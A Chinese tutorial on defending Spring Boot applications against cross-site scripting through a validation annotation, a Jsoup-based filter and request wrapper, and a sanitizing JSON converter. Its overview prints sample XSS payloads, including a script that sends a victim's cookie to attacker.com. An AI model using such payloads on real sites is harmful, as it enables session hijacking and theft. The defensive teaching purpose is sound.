SpringBoot實現(xiàn)XSS攻擊防御的幾種方式
更新時間：2024年07月08日 09:12:45 作者：詩筠
隨著Web應用的普及,網(wǎng)絡(luò)安全問題也日益凸顯,跨站腳本攻擊（Cross-Site Scripting,簡稱XSS）是一種常見的Web安全漏洞,本文旨在探討如何在Spring Boot應用程序中有效地防御XSS攻擊,我們將介紹兩種主要的防御手段：注解和過濾器,需要的朋友可以參考下
引言
隨著Web應用的普及，網(wǎng)絡(luò)安全問題也日益凸顯?？缯灸_本攻擊（Cross-Site Scripting，簡稱XSS）是一種常見的Web安全漏洞，它允許攻擊者將惡意腳本注入到其他用戶瀏覽和使用的正常網(wǎng)頁中。當其他用戶瀏覽這些網(wǎng)頁時，惡意腳本就會在他們的瀏覽器上執(zhí)行，從而可能導致信息泄露、會話劫持等嚴重后果。XSS攻擊的普遍性和潛在危害性使其成為Web應用安全中不可忽視的一部分。
本文旨在探討如何在Spring Boot應用程序中有效地防御XSS攻擊。我們將介紹兩種主要的防御手段：注解和過濾器。通過這兩種方式，開發(fā)者可以輕松地在Spring Boot應用中實現(xiàn)XSS攻擊的防御，從而保障用戶的數(shù)據(jù)安全和應用的穩(wěn)定運行。
一、XSS攻擊概述
XSS攻擊，全稱為跨站腳本攻擊（Cross-Site Scripting），是一種常見的網(wǎng)絡(luò)攻擊手段。它主要利用了Web應用程序?qū)τ脩糨斎腧炞C的不足，允許攻擊者將惡意腳本注入到其他用戶瀏覽的網(wǎng)頁中。
1.1 XSS攻擊的定義
XSS攻擊是指攻擊者在Web頁面的輸入數(shù)據(jù)中插入惡意腳本，當其他用戶瀏覽該頁面時，這些腳本就會在用戶的瀏覽器上執(zhí)行。由于腳本是在受害用戶的上下文中執(zhí)行的，因此它可以訪問該用戶的所有會話信息和權(quán)限，從而可能導致信息泄露、會話劫持、惡意操作等安全風險。
1.2 XSS攻擊的類型
XSS攻擊主要分為以下三種類型：
- 存儲型XSS（Persistent XSS）：惡意腳本被永久存儲在目標服務器上，如數(shù)據(jù)庫、消息論壇、訪客留言等，當用戶訪問相應的網(wǎng)頁時，惡意腳本就會執(zhí)行。
- 反射型XSS（Reflected XSS）：惡意腳本并不存儲在目標服務器上，而是通過諸如URL參數(shù)的方式直接在請求響應中反射并執(zhí)行。這種類型的攻擊通常是通過誘使用戶點擊鏈接或訪問特定的URL來實施的。
- 基于DOM的XSS（DOM-based XSS）：這種類型的XSS攻擊完全發(fā)生在客戶端，不需要服務器的參與。它通過惡意腳本修改頁面的DOM結(jié)構(gòu)，實現(xiàn)攻擊。
1.3 XSS攻擊的攻擊原理及示例
XSS攻擊的基本原理是利用Web應用程序?qū)τ脩糨斎氲男湃?將惡意腳本注入到響應中。當其他用戶訪問包含惡意腳本的頁面時,腳本會在他們的瀏覽器中執(zhí)行。
示例:
- 存儲型XSS攻擊:
攻擊者在一個博客評論系統(tǒng)中提交以下評論:
<script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>
當其他用戶查看這條評論時,他們的cookie會被發(fā)送到攻擊者的服務器。
- 反射型XSS攻擊:
攻擊者構(gòu)造一個惡意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服務器直接將搜索詞嵌入到響應中而不進行過濾,用戶點擊此鏈接后會看到一個警告框。
- DOM型XSS攻擊:
假設(shè)網(wǎng)頁中有以下JavaScript代碼:
var name = document.location.hash.substr(1);
document.write("歡迎, " + name);
當用戶訪問此URL時,惡意腳本會被執(zhí)行。
二、Spring Boot中的XSS防御手段
在Spring Boot中，我們可以采用多種方式來防御XSS攻擊。下面將詳細介紹兩種常用的防御手段：使用注解和使用過濾器。
2.1 使用注解進行XSS防御
注解是一種輕量級的防御手段，它可以在方法或字段級別對輸入進行校驗，從而防止XSS攻擊。
2.1.1 引入相關(guān)依賴
<!--JSR-303/JSR-380用于驗證的注解 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>3.2.0</version>
</dependency>
2.1.2 使用@XSS注解進行參數(shù)校驗
我們可以自定義一個@XSS注解，用于標記那些需要校驗的參數(shù)。這里是一個簡單的@XSS注解定義：
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
String message() default "非法輸入, 檢測到潛在的XSS";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2.1.3 實現(xiàn)自定義注解處理器
接下來，我們需要實現(xiàn)XSSValidator類，該類將負責檢查輸入是否包含潛在的XSS攻擊腳本：
public class XssValidator implements ConstraintValidator<Xss, String> {
/**
* 使用自帶的 basicWithImages 白名單
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定義輸出設(shè)置，關(guān)閉prettyPrint（prettyPrint=false），目的是避免在清理過程中對代碼進行格式化
* 從而保持輸入和輸出內(nèi)容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
/**
* 驗證輸入值是否有效，即是否包含潛在的XSS攻擊腳本。
*
* @param value 輸入值，需要進行XSS攻擊腳本清理。
* @param context 上下文對象，提供關(guān)于驗證環(huán)境的信息，如驗證失敗時的錯誤消息定制。
* @return 如果清理后的值與原始值相同，則返回true，表示輸入值有效；否則返回false，表示輸入值無效。
*/
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
// 使用Jsoup庫對輸入值進行清理，以移除潛在的XSS攻擊腳本。
// 使用預定義的白名單和輸出設(shè)置來確保只保留安全的HTML元素和屬性。
String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
// 比較清理后的值與原始值是否相同，用于判斷輸入值是否有效。
return cleanedValue.equals(value);
}
}
2.1.4 使用注解
在要進行XSS防御的屬性上添加注解：
@Data
@Tag(name = "用戶",description = "用戶登錄類")
public class UserLoginDTO {
@Xss
@NotBlank(message = "賬號不能為空")
@Schema(name = "用戶賬號",type = "String")
private String userAccount;
@Xss
@Size(min = 6, max = 18, message = "用戶密碼長度需在6-18位")
@Schema(name = "用戶密碼",type = "String")
private String password;
@Xss
@NotBlank(message = "郵箱驗證碼內(nèi)容不能為空")
@Schema(name = "郵箱驗證碼",type = "String")
private String emailCaptcha;
}
在Controller中的接口添加@Validated注解：
@PostMapping("/test2")
public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {
return Result.success();
}
2.2 使用過濾器進行XSS防御
2.2.1 引入相關(guān)依賴
<!-- Jsoup依賴 --> <dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.17.2</version> </dependency>
2.2.2 編寫配置類
/**
* 跨站腳本（XSS）過濾配置類。
*/
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
/**
* 是否啟用XSS過濾。
*/
private String enabled;
/**
* 需要排除的URL模式，這些URL不會進行XSS過濾。
*/
private String excludes;
/**
* 需要應用XSS過濾的URL模式。
*/
private String urlPatterns;
/**
* 注冊XSS過濾器。
*
* @return FilterRegistrationBean 用于注冊過濾器的bean。
*/
@Bean
public FilterRegistrationBean xssFilterRegistration() {
FilterRegistrationBean registrationBean = new FilterRegistrationBean();
// 設(shè)置過濾器的分發(fā)類型為請求類型
registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
// 創(chuàng)建XssFilter的實例
registrationBean.setFilter(new XssFilter());
// 添加過濾器需要攔截的URL模式，這些模式從配置文件中的"urlPatterns"屬性讀取
registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
// 設(shè)置過濾器的名稱
registrationBean.setName("XssFilter");
// 設(shè)置過濾器的執(zhí)行順序，數(shù)值越小，優(yōu)先級越高
registrationBean.setOrder(9999);
// 創(chuàng)建一個Map，用于存儲過濾器的初始化參數(shù)
Map<String, String> initParameters = new HashMap<>();
// 將配置文件中的"excludes"屬性設(shè)置到過濾器的初始化參數(shù)中
initParameters.put("excludes", excludes);
// 將配置文件中的"enabled"屬性設(shè)置到過濾器的初始化參數(shù)中
initParameters.put("enabled", enabled);
// 將初始化參數(shù)設(shè)置到FilterRegistrationBean中
registrationBean.setInitParameters(initParameters);
// 返回FilterRegistrationBean，包含了XssFilter的配置信息
return registrationBean;
}
}
2.2.3 修改配置文件
xss: enabled: true excludes: url-patterns: /*
2.2.4 創(chuàng)建XSSFilter類
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@Slf4j
public class XssFilter implements Filter {
/**
* 存儲需要排除XSS過濾的URL模式列表。
*/
private List<String> excludes = new ArrayList<>();
/**
* 是否啟用XSS過濾的標志。
*/
private boolean enabled = false;
/**
* 初始化過濾器，從過濾器配置中讀取排除列表和啟用狀態(tài)。
*
* @param filterConfig 過濾器配置對象。
* @throws ServletException 如果初始化過程中出現(xiàn)錯誤。
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String strExcludes = filterConfig.getInitParameter("excludes");
String strEnabled = filterConfig.getInitParameter("enabled");
//將不需要xss過濾的接口添加到列表中
if (StringUtils.isNotEmpty(strExcludes)) {
String[] urls = strExcludes.split(",");
for (String url : urls) {
excludes.add(url);
}
}
if (StringUtils.isNotEmpty(strEnabled)) {
enabled = Boolean.valueOf(strEnabled);
}
}
/**
* 執(zhí)行過濾邏輯，如果當前請求不在排除列表中，則通過XSS過濾器包裝請求。
*
* @param request HTTP請求對象。
* @param response HTTP響應對象。
* @param chain 過濾器鏈對象，用于繼續(xù)或中斷請求處理。
* @throws IOException 如果處理過程中出現(xiàn)I/O錯誤。
* @throws ServletException 如果處理過程中出現(xiàn)Servlet相關(guān)錯誤。
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
//如果該訪問接口在排除列表里面則不攔截
if (isExcludeUrl(req.getServletPath())) {
chain.doFilter(request, response);
return;
}
log.info("uri:{}", req.getRequestURI());
// xss 過濾
chain.doFilter(new XssWrapper(req), resp);
}
/**
* 銷毀過濾器，釋放資源。
*/
@Override
public void destroy() {
// 無需額外的銷毀邏輯
}
/**
* 判斷當前請求的URL是否應該被排除在XSS過濾之外。
*
* @param urlPath 請求的URL路徑。
* @return 如果請求應該被排除，則返回true；否則返回false。
*/
private boolean isExcludeUrl(String urlPath) {
if (!enabled) {
//如果xss開關(guān)關(guān)閉了，則所有url都不攔截
return true;
}
if (excludes == null || excludes.isEmpty()) {
return false;
}
String url = urlPath;
for (String pattern : excludes) {
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find()) {
return true;
}
}
return false;
}
}
2.2.5 編寫過濾工具類
/**
* XSS過濾工具類，使用Jsoup庫對輸入的字符串進行XSS攻擊防護
*/
public class XssUtil {
/**
* 使用自帶的 basicWithImages 白名單
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定義輸出設(shè)置，關(guān)閉prettyPrint（prettyPrint=false），目的是避免在清理過程中對代碼進行格式化
* 從而保持輸入和輸出內(nèi)容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
/*
初始化白名單策略，允許所有標簽擁有style屬性。
這是因為在富文本編輯中，樣式通常通過style屬性來定義，需要確保這些樣式能夠被保留。
*/
static {
// 富文本編輯時一些樣式是使用 style 來進行實現(xiàn)的
// 比如紅色字體 style="color:red;"
// 所以需要給所有標簽添加 style 屬性
WHITE_LIST.addAttributes(":all", "style");
}
/**
* 清理輸入的字符串，移除潛在的XSS攻擊代碼。
*
* @param content 待清理的字符串，通常是用戶輸入的HTML內(nèi)容。
* @return 清理后的字符串，保證不包含XSS攻擊代碼。
*/
public static String clean(String content) {
// 使用定義好的白名單策略和輸出設(shè)置清理輸入的字符串
return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
}
}
2.2.6 編寫XSSRequestWrapper類清理腳本
在XSSFilter類中，我們創(chuàng)建了一個新的XSSRequestWrapper類，該類繼承自HttpServletRequestWrapper。在這個包裝類中，我們將重寫getParameter等方法，以清理請求參數(shù)中的潛在XSS腳本。
@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
/**
* Constructs a request object wrapping the given request.
*
* @param request The request to wrap
* @throws IllegalArgumentException if the request is null
*/
public XssWrapper(HttpServletRequest request) {
super(request);
log.info("XssWrapper");
}
/**
* 對數(shù)組參數(shù)進行特殊字符過濾
*/
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
/**
* 對參數(shù)中特殊字符進行過濾
*/
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}
/**
* 獲取attribute,特殊字符過濾
*/
@Override
public Object getAttribute(String name) {
Object value = super.getAttribute(name);
if (value instanceof String && StrUtil.isNotBlank((String) value)) {
return cleanXSS((String) value);
}
return value;
}
/**
* 對請求頭部進行特殊字符過濾
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}
/**
* 清理輸入的字符串以防止XSS攻擊
*
* @param value 待清理的字符串，通常為用戶輸入或來自不可信源的數(shù)據(jù)。
* @return 清理后的字符串，移除了可能的XSS攻擊代碼。
*/
private String cleanXSS(String value) {
return XssUtil.clean(value);
}
}
2.2.7 自定義json消息解析器
在使用springboot中，類似于普通的參數(shù)parameter，attribute，header一類的，可以直接使用過濾器來過濾。而前端發(fā)送回來的json字符串就沒那么方便過濾了?？梢钥紤]用自定義json消息解析器來過濾前端傳遞的json。
/**
* 在讀取和寫入JSON數(shù)據(jù)時特殊字符避免xss攻擊的消息解析器
*
*/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {
/**
* 從HTTP輸入消息中讀取對象，同時應用XSS防護。
*
* @param type 類型令牌，表示要讀取的對象類型。
* @param contextClass 上下文類，提供類型解析的上下文信息。
* @param inputMessage HTTP輸入消息，包含要讀取的JSON數(shù)據(jù)。
* @return 從輸入消息中解析出的對象，經(jīng)過XSS防護處理。
* @throws IOException 如果發(fā)生I/O錯誤。
* @throws HttpMessageNotReadableException 如果消息無法讀取。
*/
@Override
public Object read(Type type, Class contextClass,
HttpInputMessage inputMessage) throws IOException,
HttpMessageNotReadableException {
JavaType javaType = getJavaType(type, contextClass);
Object obj = readJavaType(javaType, inputMessage);
//得到請求json
String json = super.getObjectMapper().writeValueAsString(obj);
//過濾特殊字符
String result = XssUtil.clean(json);
Object resultObj = super.getObjectMapper().readValue(result, javaType);
return resultObj;
}
/**
* 從HTTP輸入消息中讀取指定Java類型的對象，內(nèi)部使用。
*
* @param javaType 要讀取的對象的Java類型。
* @param inputMessage HTTP輸入消息，包含要讀取的JSON數(shù)據(jù)。
* @return 從輸入消息中解析出的對象。
* @throws IOException 如果發(fā)生I/O錯誤。
* @throws HttpMessageNotReadableException 如果消息無法讀取。
*/
private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
try {
return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
} catch (IOException ex) {
throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
}
}
/**
* 將對象寫入HTTP輸出消息，同時應用XSS防護。
*
* @param object 要寫入的對象。
* @param outputMessage HTTP輸出消息，對象將被序列化為JSON并寫入此消息。
* @throws IOException 如果發(fā)生I/O錯誤。
* @throws HttpMessageNotWritableException 如果消息無法寫入。
*/
@Override
protected void writeInternal(Object object, HttpOutputMessage outputMessage)
throws IOException, HttpMessageNotWritableException {
//得到要輸出的json
String json = super.getObjectMapper().writeValueAsString(object);
//過濾特殊字符
String result = XssUtil.clean(json);
// 輸出
outputMessage.getBody().write(result.getBytes());
}
}
然后在啟動類添加：
@Bean
public HttpMessageConverters xssHttpMessageConverters() {
XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
return new HttpMessageConverters(converter);
}
三、測試
3.1 XSS注解：
如果不符合規(guī)則的字符（例如
<script>alert('XSS');</script>）會提示非法輸入，檢測到潛在的XSS，可以看到下面的返回參數(shù)中的message已經(jīng)變?yōu)槟J警告。
3.2 XSS過濾器
XSS過濾器實現(xiàn)的效果是過濾，將前端傳遞參數(shù)進行清理，達到XSS防御的目的。
觀察下面的測試結(jié)果可以知道過濾器成功實現(xiàn)參數(shù)清理。
四、總結(jié)
本文深入探討了在Spring Boot應用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段：使用注解和使用過濾器。通過這兩種方式，開發(fā)者可以輕松地在Spring Boot應用中實現(xiàn)XSS攻擊的防御，從而保障用戶的數(shù)據(jù)安全和應用的穩(wěn)定運行，希望對大家有所幫助。
以上就是SpringBoot實現(xiàn)XSS攻擊防御的幾種方式的詳細內(nèi)容，更多關(guān)于SpringBoot防御XSS攻擊的資料請關(guān)注腳本之家其它相關(guān)文章！
相關(guān)文章
輸出java進程的jstack信息示例分享 通過線程堆棧信息分析java線程
通過ps到j(luò)ava進程號將進程的jstack信息輸出。jstack信息是java進程的線程堆棧信息，通過該信息可以分析java的線程阻塞等問題。2014-01-01
這篇文章主要介紹了詳解Java設(shè)計模式中的依賴倒置原則,針對面對對象編程中的抽象的運用,需要的朋友可以參考下2016-02-02
Java語言實現(xiàn)簡單FTP軟件 FTP連接管理模塊實現(xiàn)（8）
這篇文章主要為大家詳細介紹了Java語言實現(xiàn)簡單FTP軟件，F(xiàn)TP連接管理模塊的實現(xiàn)方法，具有一定的參考價值，感興趣的小伙伴們可以參考一下2017-04-04
在前后端分離的開發(fā)項目中，前后端聯(lián)調(diào)的時候會出現(xiàn)這樣那樣的問題，尤其是在調(diào)取數(shù)據(jù)的程序上面，有時候前端給的前端給到后端的明明是正確的但就是無法拿到正確的數(shù)據(jù)，下面小千就來給大家詳解一下常見的三種數(shù)據(jù)傳輸方式2021-10-10
多租戶是一種軟件架構(gòu)技術(shù),在多用戶的環(huán)境下共有同一套系統(tǒng),并且要注意數(shù)據(jù)之間的隔離性,下面這篇文章主要給大家介紹了關(guān)于Mybatis-plus多租戶項目實戰(zhàn)進階的相關(guān)資料,需要的朋友可以參考下2022-02-02
這篇文章主要介紹了Java?17的一些新特性介紹，Java添加了許多Java開發(fā)人員渴望的特性和改進，下文就來學習一下這些特性吧,需要的朋友可以參考一下2022-04-04
在Java中，equals和hashCode方法是Object中提供的兩個方法，這兩個方法對以后的學習有很大的幫助，本文就深度來去講解這兩個方法。下面小編帶大家來一起學習吧2019-06-06
SpringBoot+Shiro學習之密碼加密和登錄失敗次數(shù)限制示例
本篇文章主要介紹了SpringBoot+Shiro學習之密碼加密和登錄失敗次數(shù)限制示例，可以限制登陸次數(shù)，有興趣的同學可以了解一下。2017-03-03
這篇文章主要給大家介紹了關(guān)于Java中注解和反射的原理及使用，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習學習吧2022-06-06
在不同的編程框架和容器中，依賴查找的方式可能會有所不同，本文主要介紹了Spring依賴查找的使用小結(jié)，具有一定的參考價值，感興趣的可以了解一下2023-12-12